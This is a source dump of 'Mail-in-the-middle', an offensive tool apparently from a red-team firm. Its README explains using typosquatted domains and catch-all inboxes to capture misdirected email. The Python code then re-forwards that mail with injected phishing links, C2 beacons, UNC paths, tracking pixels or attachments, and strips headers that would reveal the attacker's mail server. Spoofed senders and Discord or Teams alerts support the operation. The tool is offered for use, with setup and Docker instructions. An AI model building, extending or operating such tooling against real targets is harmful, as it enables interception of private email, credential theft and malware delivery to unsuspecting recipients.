572 | Public License "or any later version" applies to it, you have the
573 | option of following the terms and conditions either of that numbered
574 | version or of any later version published by the Free Software
575 | Foundation. If the Program does not specify a version number of the
576 | GNU General Public License, you may choose any version ever published
577 | by the Free Software Foundation.
578 |
579 | If the Program specifies that a proxy can decide which future
580 | versions of the GNU General Public License can be used, that proxy's
581 | public statement of acceptance of a version permanently authorizes you
582 | to choose that version for the Program.
583 |
584 | Later license versions may give you additional or different
585 | permissions. However, no additional obligations are imposed on any
586 | author or copyright holder as a result of your choosing to follow a
587 | later version.
588 |
589 | 15. Disclaimer of Warranty.
590 |
591 | THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
592 | APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
593 | HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
594 | OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
595 | THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
596 | PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
597 | IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
598 | ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
599 |
600 | 16. Limitation of Liability.
601 |
602 | IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
603 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
604 | THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
605 | GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
606 | USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
607 | DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
608 | PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
609 | EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
610 | SUCH DAMAGES.
611 |
612 | 17. Interpretation of Sections 15 and 16.
613 |
614 | If the disclaimer of warranty and limitation of liability provided
615 | above cannot be given local legal effect according to their terms,
616 | reviewing courts shall apply local law that most closely approximates
617 | an absolute waiver of all civil liability in connection with the
618 | Program, unless a warranty or assumption of liability accompanies a
619 | copy of the Program in return for a fee.
620 |
621 | END OF TERMS AND CONDITIONS
622 |
623 | How to Apply These Terms to Your New Programs
624 |
625 | If you develop a new program, and you want it to be of the greatest
626 | possible use to the public, the best way to achieve this is to make it
627 | free software which everyone can redistribute and change under these terms.
628 |
629 | To do so, attach the following notices to the program. It is safest
630 | to attach them to the start of each source file to most effectively
631 | state the exclusion of warranty; and each file should have at least
632 | the "copyright" line and a pointer to where the full notice is found.
633 |
634 |
635 | Copyright (C)
636 |
637 | This program is free software: you can redistribute it and/or modify
638 | it under the terms of the GNU General Public License as published by
639 | the Free Software Foundation, either version 3 of the License, or
640 | (at your option) any later version.
641 |
642 | This program is distributed in the hope that it will be useful,
643 | but WITHOUT ANY WARRANTY; without even the implied warranty of
644 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
645 | GNU General Public License for more details.
646 |
647 | You should have received a copy of the GNU General Public License
648 | along with this program. If not, see .
649 |
650 | Also add information on how to contact you by electronic and paper mail.
651 |
652 | If the program does terminal interaction, make it output a short
653 | notice like this when it starts in an interactive mode:
654 |
655 | Copyright (C)
656 | This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
657 | This is free software, and you are welcome to redistribute it
658 | under certain conditions; type `show c' for details.
659 |
660 | The hypothetical commands `show w' and `show c' should show the appropriate
661 | parts of the General Public License. Of course, your program's commands
662 | might be different; for a GUI interface, you would use an "about box".
663 |
664 | You should also get your employer (if you work as a programmer) or school,
665 | if any, to sign a "copyright disclaimer" for the program, if necessary.
666 | For more information on this, and how to apply and follow the GNU GPL, see
667 | .
668 |
669 | The GNU General Public License does not permit incorporating your program
670 | into proprietary programs. If your program is a subroutine library, you
671 | may consider it more useful to permit linking proprietary applications with
672 | the library. If this is what you want to do, use the GNU Lesser General
673 | Public License instead of this License. But first, please read
674 | .
675 |
--------------------------------------------------------------------------------
/Maitm/Bells.py:
--------------------------------------------------------------------------------
1 | import pymsteams
2 | from discord_webhook import DiscordWebhook, DiscordEmbed
3 |
4 | class DiscordBell():
5 | def __init__(self, webhook_url=None) -> None:
6 | self.webhook_url=webhook_url
7 |
8 | def ring(self,msg,action,reason):
9 | text="===[%s]===\nEmail UID: %s\nFROM: %s\nTO: %s\nSubject: %s\nFORWARDED: %s\nREASON: %s" \
10 | % (msg["date"], msg["uid"], msg["from"], msg["to"], msg["subject"], action, reason)
11 | webhook = DiscordWebhook(url=self.webhook_url)
12 | embed = DiscordEmbed(title="Message Forwarded", color="03b2f8")
13 | embed.set_description(text)
14 | webhook.add_embed(embed)
15 | response = webhook.execute()
16 |
17 | def heartbeat(self):
18 | msg="I'm alive!"
19 | webhook = DiscordWebhook(url=self.webhook_url,content=msg)
20 | webhook.execute()
21 |
22 | class TeamsBell():
23 | def __init__(self, webhook_url=None) -> None:
24 | self.webhook_url=webhook_url
25 |
26 | def get_teams_webhook(self,url):
27 | return pymsteams.connectorcard(url)
28 |
29 | def ring(self,msg,action,reason):
30 | webhook=self.get_teams_webhook(self.webhook_url)
31 | webhook.title("Email Forwarded")
32 | text="========[%s]========
Email UID: %s
FROM: %s
TO: %s
Subject: %s
FORWARDED: %s
REASON: %s" \
33 | % (msg["date"], msg["uid"], msg["from"], msg["to"], msg["subject"], action, reason)
34 | webhook.text(text)
35 | webhook.send()
36 |
37 | def heartbeat(self):
38 | msg="I'm alive!"
39 | webhook=self.get_teams_webhook(self.webhook_url)
40 | webhook.title("Heartbeat")
41 | webhook.text(msg)
42 | webhook.send()
--------------------------------------------------------------------------------
/Maitm/MailConverter.py:
--------------------------------------------------------------------------------
1 | from imap_tools.message import MailMessage as ImapMessage
2 | from email import message_from_string
3 | from email.message import EmailMessage as PythonEmailMessage
4 | from email.mime.image import MIMEImage
5 | from exchangelib import Message as ExchangeMessage, FileAttachment, Account as ExchangeAccount, HTMLBody, Mailbox as ExchangeMailbox
6 | import mimetypes
7 | import base64
8 | import logging.config
9 | import os
10 | import yaml
11 | import email
12 | from email import policy
13 | from email.parser import BytesParser
14 |
15 | """
16 | MailConverter class is used to convert mail from one format to another.
17 | It accepts exchangelib and imap_tools mail objects and converts it to python native email object.
18 | It cannot do the reverse conversion to imap_tools message format, as it has immutable fields and is not needed to send out emails.
19 | """
20 | class MailConverter:
21 | def __init__(self, exchangelib_mail: ExchangeMessage=None, exchange_account: ExchangeAccount=None, imap_tools_mail=None, clone_cc=False, clone_bcc=False, logfile="logs/mailconverter.log"):
22 | self.init_logging(log_filename=logfile)
23 | self.exchange_account = exchange_account
24 | self.exchange_mail = exchangelib_mail
25 | self.imap_mail = imap_tools_mail
26 | self.python_mail = PythonEmailMessage()
27 | self.clone_cc = clone_cc
28 | self.clone_bcc = clone_bcc
29 |
30 | def init_logging(self,log_filename):
31 | # Ensure the 'logs' directory exists
32 | os.makedirs(os.path.dirname(log_filename), exist_ok=True)
33 |
34 | # Load the logging configuration from a YAML file
35 | with open('config/logging.yml', 'r') as f:
36 | config = yaml.safe_load(f.read())
37 | # Update the filename in the configuration
38 | config['handlers']['file_handler']['filename'] = log_filename
39 | logging.config.dictConfig(config)
40 |
41 | # Example usage
42 | self.logger = logging.getLogger()
43 |
44 | """
45 | This function transforms an imap_tools message to a Python EmailMessage
46 | """
47 | def convert_from_imapmessage(self, msg: ImapMessage):
48 | raw_email = msg.obj.as_bytes()
49 |
50 | # Parse the raw email data
51 | self.python_mail = BytesParser(policy=policy.default).parsebytes(raw_email)
52 | # Add the UID attribute as well from the IMAP library
53 | self.python_mail['uid'] = msg.uid
54 | # Remove the Copied and BCC recipients
55 | del self.python_mail['cc']
56 | del self.python_mail['bcc']
57 | # Remove the 'received' header which may disclose our mail server address
58 | del self.python_mail['Received']
59 | del self.python_mail['Authentication-Results']
60 | del self.python_mail['Delivered-To']
61 | # Remove the 'spam' headers
62 | for header in list(self.python_mail.keys()):
63 | if 'spam' in header.lower():
64 | del self.python_mail[header]
65 |
66 | return self.python_mail
67 |
68 | """
69 | This function transforms an exchangelib message to a Python EmailMessage
70 | """
71 | def convert_from_exchangemail(self, msg: ExchangeMessage):
72 | raw_mime_content = msg.mime_content
73 |
74 | # Parse the raw MIME content
75 | self.python_mail = BytesParser(policy=policy.default).parsebytes(raw_mime_content)
76 | self.python_mail['uid'] = msg.id+"-"+msg.changekey
77 | # Remove the Copied and BCC recipients
78 | del self.python_mail['cc']
79 | del self.python_mail['bcc']
80 | # Remove the 'received' header which may disclose our mail server address
81 | del self.python_mail['Received']
82 | del self.python_mail['Authentication-Results']
83 | del self.python_mail['Delivered-To']
84 | # Remove the 'spam' headers
85 | for header in list(self.python_mail.keys()):
86 | if 'spam' in header.lower():
87 | del self.python_mail[header]
88 |
89 | return self.python_mail
90 |
91 | """
92 | This function transforms a Python EmailMessage to an exchangelib message format
93 | """
94 | def convert_to_exchange_message(self, msg: PythonEmailMessage, exchage_account: ExchangeAccount = None):
95 | # Create a new ExchangeMessage object
96 | if exchage_account:
97 | self.exchange_account = exchage_account
98 | if not self.exchange_account:
99 | self.logger.error("Exchange account is not provided")
100 | return None
101 | self.exchange_mail = ExchangeMessage(account=self.exchange_account)
102 |
103 | self.exchange_mail.body = HTMLBody(msg.get_body(preferencelist=('html',)).get_content())
104 | self.exchange_mail.subject = msg['Subject']
105 | self.exchange_mail.to_recipients = [ExchangeMailbox(email_address=addr) for addr in msg.get_all('To', [])]
106 | # TODO: Not sure if I can spoof the sender with exchangelib. Proably need to use the account's email address
107 | self.exchange_mail.sender = ExchangeMailbox(email_address=msg['From'])
108 |
109 | # Handling CC and BCC if needed
110 | # TODO: Change the CC and Bcc handing
111 | if msg.get_all('Cc', []):
112 | self.exchange_mail.cc_recipients = [ExchangeMailbox(email_address=addr) for addr in msg.get_all('Cc', [])]
113 | if msg.get_all('Bcc', []):
114 | self.exchange_mail.bcc_recipients = [ExchangeMailbox(email_address=addr) for addr in msg.get_all('Bcc', [])]
115 |
116 | # Add attachments
117 | for part in msg.iter_parts():
118 | if part.get_content_disposition() == 'attachment':
119 | content_type = part.get_content_type()
120 | maintype, subtype = content_type.split('/')
121 | attachment = FileAttachment(
122 | name=part.get_filename(),
123 | content=part.get_payload(decode=True),
124 | content_type=content_type
125 | )
126 | self.exchange_mail.attach(attachment)
127 |
128 | return self.exchange_mail
--------------------------------------------------------------------------------
/Maitm/MailManager.py:
--------------------------------------------------------------------------------
1 | # General imports
2 | import yaml
3 | import json
4 | from enum import Enum
5 | import logging.config
6 | import os
7 | from datetime import datetime, timedelta
8 | import base64
9 | # Mail imports
10 | from exchangelib import Configuration, OAuth2LegacyCredentials, OAuth2Credentials, Credentials, Account, DELEGATE, Message as ExchangeMessage, Mailbox as ExchangeMailbox,Q, EWSDateTime, OAUTH2
11 | from smtplib import SMTP
12 | from imap_tools import MailBox as ImapMailBox, AND, OR
13 | from email import message_from_string
14 | from email.message import EmailMessage as PythonEmailMessage
15 | from .MailConverter import MailConverter
16 |
17 | """
18 | This enum class is used to define the supported mail protocols
19 | """
20 | class MailProtocols(Enum):
21 | SMTP = "smtp"
22 | EWS = "ews"
23 | IMAP = "imap"
24 | OAUTH2 = "oauth2"
25 | OAUTH2LEGACY = "oauth2legacy"
26 |
27 | """
28 | This class is in charge of reading and sending out emails to the users:
29 | * The reading and sending functionality will be implemented to abastract the email reading and sending process to Maitm
30 | * The reading should support imap and ews protocols
31 | * The sending should support smtp and ews protocols
32 | * The class reads the configuration from the file config/auth.yml and allows Maitm to do the following
33 | 1. Read N emails from the user's email account with the following filters: reception date, sender, subject
34 | 2. Send emails to a user's email account
35 | """
36 | class MailManager():
37 | def __init__(self, auth_config=None, logfile="logs/mailmanager.log"):
38 | self.init_logging(log_filename=logfile)
39 | self.config = auth_config
40 | self.read_protocol = None
41 | self.send_protocol = None
42 | self.read_ews_account: Account = None # EWS account for reading emails
43 | self.read_oauth2_account: Account = None # Oauth2 account for reading emails
44 | self.read_imap_mailbox: ImapMailBox = None # IMAP MailBox object for reading emails
45 | self.send_ews_account: Account = None # EWS account for sending emails
46 | self.send_oauth2_account: Account = None # Oauth account for sending emails
47 | self.send_smtp_connection: SMTP = None # SMTP connection for sending emails
48 | self._setup_mail_protocol() # Populate the variables to see what protocol we are using for the email sending and reading
49 | self.mailconverter: MailConverter = MailConverter(logfile=datetime.now().strftime("logs/%Y%m%d_%H%M%S_mailmanager.log"))
50 |
51 | def init_logging(self,log_filename):
52 | # Ensure the 'logs' directory exists
53 | os.makedirs(os.path.dirname(log_filename), exist_ok=True)
54 |
55 | # Load the logging configuration from a YAML file
56 | with open('config/logging.yml', 'r') as f:
57 | config = yaml.safe_load(f.read())
58 | # Update the filename in the configuration
59 | config['handlers']['file_handler']['filename'] = log_filename
60 | logging.config.dictConfig(config)
61 |
62 | # Example usage
63 | self.logger = logging.getLogger()
64 |
65 | """
66 | This function sets up the mail protocol for reading and sending emails
67 | """
68 | def _setup_mail_protocol(self):
69 | rp = list(self.config['read'].keys())[0]
70 | sp = list(self.config['send'].keys())[0]
71 | try:
72 | self.read_protocol = MailProtocols[rp.upper()]
73 | except KeyError:
74 | raise ValueError(f"Unsupported protocol type: {rp}")
75 | try:
76 | self.send_protocol = MailProtocols[sp.upper()]
77 | except KeyError:
78 | raise ValueError(f"Unsupported protocol type: {sp}")
79 |
80 |
81 | ##########################
82 | # LOGIN EMAILS FUNCTIONS #
83 | ##########################
84 |
85 | """
86 | This function logs into the email server to read emails
87 | """
88 | def login_read(self):
89 | if (self.read_protocol == MailProtocols.EWS):
90 | self.read_ews_account = self._login_ews(config=self.config["read"]["ews"])
91 | elif (self.read_protocol == MailProtocols.OAUTH2LEGACY):
92 | self.read_oauth2_account = self._login_oauth2legacy(config=self.config["read"]["oauth2legacy"])
93 | elif (self.read_protocol == MailProtocols.OAUTH2):
94 | self.read_oauth2_account = self._login_oauth2(config=self.config["read"]["oauth2"])
95 | elif (self.read_protocol == MailProtocols.IMAP):
96 | self.read_imap_mailbox = self._login_imap(config=self.config["read"]["imap"])
97 | else:
98 | self.logger.error("Unsupported protocol for reading emails")
99 |
100 | """
101 | This function logs into the EWS server and returns the EWS account object for sending emails
102 | """
103 | def login_send(self):
104 | if (self.send_protocol == MailProtocols.EWS):
105 | self.send_ews_account = self._login_ews(config=self.config["send"]["ews"])
106 | elif (self.send_protocol == MailProtocols.OAUTH2LEGACY):
107 | self.send_oauth2_account = self._login_oauth2legacy(config=self.config["send"]["oauth2legacy"])
108 | elif (self.send_protocol == MailProtocols.OAUTH2):
109 | self.send_oauth2_account = self._login_oauth2(config=self.config["send"]["oauth2"])
110 | elif (self.send_protocol == MailProtocols.SMTP):
111 | self.send_smtp_connection = self._login_smpt(config=self.config["send"]["smtp"])
112 | else:
113 | self.logger.error("Unsupported protocol for reading emails")
114 |
115 | """
116 | This function logs into the EWS server and returns the Exchangelib account object
117 | """
118 | def _login_ews(self,config):
119 | credentials = Credentials(username=config['email'], password=config['password'])
120 | # Create a Configuration object
121 | # AutodiscoverProtocol.credentials = credentials
122 | mail_config = Configuration(server='outlook.office365.com', credentials=credentials)
123 | # Create an account instance
124 | account = Account(primary_smtp_address=config['email'], autodiscover=True, access_type=DELEGATE)
125 | # Fetch the inbox folder
126 | return account
127 |
128 | """
129 | This function logs into the EWS server using OAuth2 and returns the Exchangelib account object
130 | """
131 | def _login_oauth2(self, config):
132 | credentials = OAuth2Credentials(
133 | client_id=config["client_id"],
134 | client_secret=config["client_secret"],
135 | tenant_id=config["tenant_id"]
136 | )
137 |
138 | # Set up configuration with OAuth credentials
139 | configuration = Configuration(server='outlook.office365.com', credentials=credentials, auth_type=OAUTH2)
140 |
141 | # Initialize the account with autodiscover
142 | account = Account(
143 | primary_smtp_address=config["email"],
144 | config=configuration,
145 | autodiscover=True,
146 | access_type=DELEGATE
147 | )
148 | return account
149 |
150 | """
151 | This function logs into the EWS server using legacy OAuth2 and returns the Exchangelib account object
152 | """
153 | def _login_oauth2legacy(self, config):
154 | credentials = OAuth2LegacyCredentials(
155 | client_id=config["client_id"],
156 | client_secret=config["client_secret"],
157 | tenant_id=config["tenant_id"],
158 | password=config["password"],
159 | username=config["email"]
160 | )
161 |
162 | # Set up configuration with OAuth credentials
163 | configuration = Configuration(server='outlook.office365.com', credentials=credentials)
164 |
165 | # Initialize the account with autodiscover
166 | account = Account(
167 | primary_smtp_address=config["email"],
168 | config=configuration,
169 | autodiscover=True,
170 | access_type=DELEGATE
171 | )
172 | return account
173 |
174 | """
175 | This function logs into the SMTP server and returns the SMTP connection object
176 | """
177 | def _login_smpt(self,config):
178 | smtp = SMTP(config["server"], config["port"])
179 | smtp.ehlo()
180 | if (config["tls"]):
181 | smtp.starttls()
182 | # Login only if we have specified user credentials
183 | if (config["username"] is not None):
184 | smtp.login(config["username"],config["password"])
185 |
186 | return smtp
187 |
188 | """
189 | This function logs into the IMAP server and returns the mailbox object
190 | """
191 | def _login_imap(self,config):
192 | return ImapMailBox(config["server"],config["port"]).login(config["username"],config["password"])
193 |
194 |
195 | #############################
196 | # FETCHING EMAILS FUNCTIONS #
197 | #############################
198 | """
199 | This function fetches emails from the user's email account.
200 | It abstracts the reading process to allow Maitm to read emails using different protocols (EWS or IMAP)
201 | Params:
202 | * date_limit: retrieve emails after this date
203 | * domain_to: filter emails sent to this domain
204 | * domain_from: filter emails sent from this domain
205 | * subject: filter emails containing this string in the subject
206 | * number: number of emails to fetch
207 | """
208 | def fetch_emails(self, criteria, number: int = 10, offset: int = 0):
209 | if (self.read_protocol == MailProtocols.EWS or self.read_protocol == MailProtocols.OAUTH2 or self.read_protocol == MailProtocols.OAUTH2LEGACY):
210 | return self._fetch_emails_exchangelib(criteria, number=number)
211 | elif (self.read_protocol == MailProtocols.IMAP):
212 | return self._fetch_emails_imap(criteria, number=number)
213 | else:
214 | self.logger.error("Unsupported protocol for reading emails")
215 | return None
216 |
217 | def _json_serializer_with_datetime(self, obj):
218 | if isinstance(obj, datetime):
219 | return obj.isoformat() # Converts datetime to a string in ISO 8601 format
220 | raise TypeError(f"Type {type(obj)} not serializable")
221 |
222 | """
223 | Fetches emails using the exchangelib account object
224 | """
225 | def _fetch_emails_exchangelib(self, criteria: dict, number: int = 10):
226 | # date_limit: datetime = None, domain_to: str = None, domain_from: str = None, subject: str = None, ignore_seen: bool=True
227 |
228 | self.logger.info("[Exchangelib] Fetching %s emails with criteria:\n%s" % (number, json.dumps(criteria, indent=1, default=self._json_serializer_with_datetime)))
229 |
230 | query = None
231 | if criteria["ignore_seen"]:
232 | query = Q(is_read=False)
233 | if criteria["from_date"]:
234 | query = query & Q(datetime_received__gt=EWSDateTime(criteria["from_date"]))
235 | if criteria["to_domains"]:
236 | query = query & criteria["to_domains"]
237 | if criteria["from_domains"]:
238 | query = query & criteria["from_domains"]
239 | if criteria["subject"]:
240 | query = query & Q(subject__contains=criteria["subject"])
241 |
242 | python_messages = list() # To store the messages in PythonEmailMessage format
243 | while True:
244 | items = self.read_ews_account.inbox.filter(query).order_by('-datetime_received')[0:number]
245 | if not items:
246 | break # No more emails to process
247 | for item in items:
248 | print(f"Subject: {item.subject}, Received: {item.datetime_received}")
249 | # Process each message as needed
250 | python_messages.append(self._transform_exchange_message_to_email(item))
251 | # offset += number # Move to the next set of items
252 |
253 | # return the fetched emails
254 | return python_messages
255 |
256 | """
257 | Fetches emails using the IMAP protocol
258 | """
259 | def _fetch_emails_imap(self, criteria: dict, number: int = 10):
260 | self.logger.info("[IMAP] Fetching %s emails with criteria:\n%s" % (number, json.dumps(criteria, indent=1, default=self._json_serializer_with_datetime)))
261 |
262 | # Building the search criteria
263 | imap_criteria = {}
264 | if criteria["from_date"]:
265 | imap_criteria['date_gte'] = datetime.date(criteria["from_date"])
266 | if criteria["to_domains"]:
267 | imap_criteria['to'] = criteria["to_domains"]
268 | if criteria["from_domains"]:
269 | imap_criteria['from_'] = criteria["from_domains"]
270 | if criteria["subject"]:
271 | imap_criteria['subject'] = criteria["subject"]
272 | # By default, imap_tools fetches all emails, including seen ones, so no need to use the imap_criteria['seen'] filter
273 |
274 | # Combine all criteria with AND
275 | search_criteria = AND(**imap_criteria)
276 |
277 | # Fetching emails based on the constructed criteria
278 | python_messages = [] # To store the messages in PythonEmailMessage format
279 | count = 0
280 | msgs = self.read_imap_mailbox.fetch(search_criteria, charset='utf-8', mark_seen=True, bulk=True,limit=number)
281 | # all_msgs=list(msgs)
282 |
283 | for msg in msgs:
284 | # Unluckily, imap_tools does not support searching after a specific time and only allows using dates
285 | # Therefore, we need to manually filter the emails based on the datetime_received
286 | # https://github.com/ikvk/imap_tools/issues/12
287 | # https://datatracker.ietf.org/doc/html/rfc3501#:~:text=the%20specified%20date.-,SINCE%20%3Cdate%3E,-Messages%20whose%20internal
288 | if criteria["from_date"]:
289 | if msg.date.astimezone() < criteria["from_date"]:
290 | continue
291 |
292 | if count >= number:
293 | break
294 |
295 | email_msg = self.mailconverter.convert_from_imapmessage(msg)
296 |
297 | python_messages.append(email_msg)
298 | count += 1
299 |
300 | # return the fetched emails
301 | return python_messages
302 |
303 | ############################
304 | # SENDING EMAILS FUNCTIONS #
305 | ############################
306 | """
307 | Sends an email to the user's email account
308 | It abstracts the sending process to allow Maitm to send emails using different protocols
309 | """
310 | def send_email(self, email: PythonEmailMessage):
311 | if (self.send_protocol == MailProtocols.EWS or self.send_protocol == MailProtocols.OAUTH2 or self.send_protocol == MailProtocols.OAUTH2LEGACY):
312 | self.send_exchange(email)
313 | elif(self.send_protocol == MailProtocols.SMTP):
314 | self.send_smtp(email)
315 | else:
316 | self.logger.error("Unsupported protocol for sending emails")
317 |
318 | """
319 | Sends an email using the SMTP protocol
320 | """
321 | def send_smtp(self, email: PythonEmailMessage):
322 | self.logger.info("[SMTP] Sending email with subject: %s" % email['Subject'])
323 | self.logger.debug("[SMTP] Email headers: ")
324 | for key in email.keys():
325 | self.logger.debug(f" [H] {key}: {email[key]}")
326 | self.send_smtp_connection.send_message(email)
327 |
328 | """
329 | Sends an email using the exchangelib library
330 | """
331 | def send_exchange(self, email: PythonEmailMessage):
332 | self.logger.info("[EXCHANGELIB] Sending email with subject: %s" % email['Subject'])
333 | sending_account = self.send_ews_account if self.send_ews_account else self.send_oauth2_account
334 | exchange_message = self.mailconverter.convert_to_exchange_message(email, sending_account)
335 |
336 | if exchange_message:
337 | return exchange_message.send()
338 | else:
339 | return False
--------------------------------------------------------------------------------
/Maitm/__init__.py:
--------------------------------------------------------------------------------
1 | from .Maitm import Maitm
2 | from .Bells import *
3 | from .MailConverter import *
4 | from .MailManager import *
--------------------------------------------------------------------------------
/Pipfile:
--------------------------------------------------------------------------------
1 | [[source]]
2 | url = "https://pypi.org/simple"
3 | verify_ssl = true
4 | name = "pypi"
5 |
6 | [packages]
7 | imap-tools = "*"
8 | pymsteams = "*"
9 | pyyaml = "*"
10 | beautifulsoup4 = "*"
11 | discord-webhook = "*"
12 | exchangelib = "*"
13 | textual = "*"
14 |
15 | [dev-packages]
16 | ipython = "*"
17 |
18 | [requires]
19 | python_version = "3.12"
20 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | Summary
2 | =======
3 |
4 |
5 |
6 |
7 |
8 | This script sits in the middle between a legitimate sender of an email and the legitimate recipient of that email. This means that we (the attackers) are receiving sensitive information not originally destined to us. I like to call these emails "Stranded emails".
9 |
10 | The way we sit in the middle of these two parts are by taking advantage of the typos the sender of the email commits. The attacker needs to register multiple domains with typos of the target company, or what is usually called, [typosquatted](https://www.kaspersky.com/resource-center/definitions/what-is-typosquatting) domains.
11 |
12 | Once the typosquatted domains are on the attacker's hands, they should [configure an MX](https://www.namecheap.com/support/knowledgebase/article.aspx/322/2237/how-can-i-set-up-mx-records-required-for-mail-service/) entry on their DNS entries to redirect the emails to their mail server (e.g. mail.attackerdomain.com). Then, the mail server have to be configured with a [catch-all](https://tecadmin.net/setup-catch-all-email-account-in-postfix/) rule to receive all emails in a single inbox (e.g. attacker@attackerdomain.com).
13 |
14 | This script connects to the attacker mail server (mail.attackerdomain.com) and lists the emails being received there following a set of rules (filter rules). All the emails that match the filter will be forwarded to their legitimate recipients, but with a pinch of evilness. This means that we can modify the contents of the email, including attachments, links, tracking pixels, and other content. This opens an avenue to send phishing links or C2 beacons to users that are actually expecting an email with that content, thus, increasing our oportunities to get interactions with the targets.
15 |
16 | Architecture
17 | ============
18 | A picture is worth a thousand words.
19 |
20 | Green email means "untainted" email. Red email means "tainted" email with attacker's controlled links, attachements, and content:
21 |
22 |
23 |
24 | # Usage
25 |
26 | ## Configuration
27 |
28 | Open the file "config/config.yml", configure the name of the files containing the sub-configuration files:
29 | * auth: Contains the authentication information to login the SMTP and IMAP servers
30 | * typos: Contains the rules to fix the typos in specific email addresses or domains
31 | * filter: Contains the filtering settings of what emails to forward and poison
32 | * injections: Contains the behaviour of the program regarding injecting tracking URLs, UNC paths and attachments
33 | * misc: Contains various settings, including the source and destination addresses, and the interval to poll the mail boxes.
34 | * notifications: Contains settings for Discord and Teams notification.
35 | * logging: Contains the configuration of the logger.
36 |
37 | For detailed information about how to configure each of these sub-configuration files, refer to the section ["Configuration files"](#configuration-files).
38 |
39 | ## Execution
40 | Once the configuration has been done, you can invoke the script using docker or by installing the dependencies with pipenv. You can use the CLI version of the tool, or the Textual User Interface (TUI).
41 |
42 | ## Flags
43 | Use the flag "-f" to forward the emails for real (without this flag, the script would only monitor the incoming emails and send them to the Discord/Teams chat).
44 |
45 | The flag "-n" is important if you only want to monitor the "new" emails. If not specified, all the historic emails would be retrieved from the inbox on execution on every loop, so you would end up sending the same emails in each iteration of the polling loop. Use "-n" in production. Do not user if you want to test the script.
46 |
47 | The flag "-c" is to provide alternative configuration files.
48 |
49 | ### Docker Execution
50 | Build and execute the container by running this:
51 | ```bash
52 | docker build -t maitm . # Build
53 | docker run --rm -ti maitm -h # To get help
54 | docker run --rm -ti maitm -c config/config.yml -f -n # To forward the emails and only forward newest emails
55 | # If you want to use your own configuration files and attachment folder you can map a volume for that:
56 | docker run -it --rm -v $(pwd)/config:/Maitm/config -v $(pwd)/attachments:/Maitm/attachments maitm cli -n -f -c config/myconfig.yml
57 | ```
58 |
59 | Or alternatively get the package from ghcr.io:
60 | ```bash
61 | docker pull ghcr.io/sensepost/mail-in-the-middle/maitm:latest
62 | docker tag ghcr.io/sensepost/mail-in-the-middle/maitm:latest maitm
63 | ```
64 |
65 | ## TUI
66 |
67 | There is a Textual User Interface (TUI) of the tool that you can invoke by using the option "tui" instead of "cli".
68 | **Important**: If you run the TUI from the docker container you MUST pass the LINES and COLUMNS and TERM environment variables for the TUI to looks good, use the following syntax to use your current terminal configuration:
69 |
70 | ```bash
71 | docker run -it \
72 | -e COLUMNS=$(tput cols) \
73 | -e LINES=$(tput lines) \
74 | -e TERM=$TERM \
75 | --rm maitm tui
76 | ```
77 |
78 | The TUI will allow you to run the tool by clicking the big Green button.
79 | The main screen looks like the following:
80 |
81 |
82 |
83 | You can select the configuration section by clicking the "configuration" button or pressing the "c" key.
84 | The configuration section has six different tabs.
85 |
86 | The 'Authentication' tab allows you to define the protocols and credentials to be used for outbound and inbound emails:
87 |
88 |
89 |
90 | The 'Filter' tab allows you decide what emails you want the tool to act upon and forward. You can define the date since maitm will start looking for emails, if you want to ignore read emails or not, and the criteria to monitor or ignore. You can monitor/ignore some subjects, destination domains and source domains:
91 |
92 |
93 |
94 | The 'Injection' tab allows you to define what do you want to do with the selected emails, for example if you want to replace 'all' links or just links directing to a specific domain (top level domain). It also allows you to define headers to be injected, files to attach, and invisible tracking pixel and UNC links:
95 |
96 |
97 |
98 | The 'Typos' tab allow you to define the rules to correct the mistiped domains. You can fix the domain or you can fix individual addresses:
99 |
100 |
101 |
102 | The 'notifications' tab will let you define the Teams and Discord webhook where you will receive notifications about emails forwarded, so you can wake up from your siesta and act on those emails.
103 |
104 | Finally, the 'Miscellaneous' section allows you to define testing emails within the field "Fixed destinations". If something is defined in this box, the emails will not go to the corrected emails, but rather to your testing email addresses. It also allows you to define whether you want to spoof the source email address, define a fixed sender, a poll interval and the name of the tracking parameter injected in all the phishing links:
105 |
106 |
107 |
108 |
109 |
110 |
111 | ### Pipenv Execution
112 |
113 | Install pipenv on your environment, the dependencies and run:
114 |
115 | ```bash
116 | apt install pipenv
117 | pipenv install --python=3.12
118 | pipenv shell
119 | ./mail-in-the-middle.py cli -n -f -c config/config.yml
120 | ```
121 |
122 | Configuration files
123 | ===================
124 |
125 | To see examples of the files, go to the folder config.
126 |
127 | config.yml
128 | ----------
129 | Root configuration file. It has one entry per sub-configuration file. The default content is:
130 |
131 | ```yaml
132 | auth: auth.yml
133 | filter: filter.yml
134 | injections: injections.yml
135 | misc: misc.yml
136 | notifications: notifications.yml
137 | typos: typos.yml
138 | ```
139 |
140 | If you want to have multiple configuration files you can create conf-prod.yml, conf-dev.yml, conf-test.yml, etc. and modify single values in this structure, such as the auth or filter.
141 |
142 | typos.yml
143 | ---------
144 | These are the rules that Mail-in-the-middle follow to correct the destination email address and forward the tained email. We can define specific email addresses or whole domains.
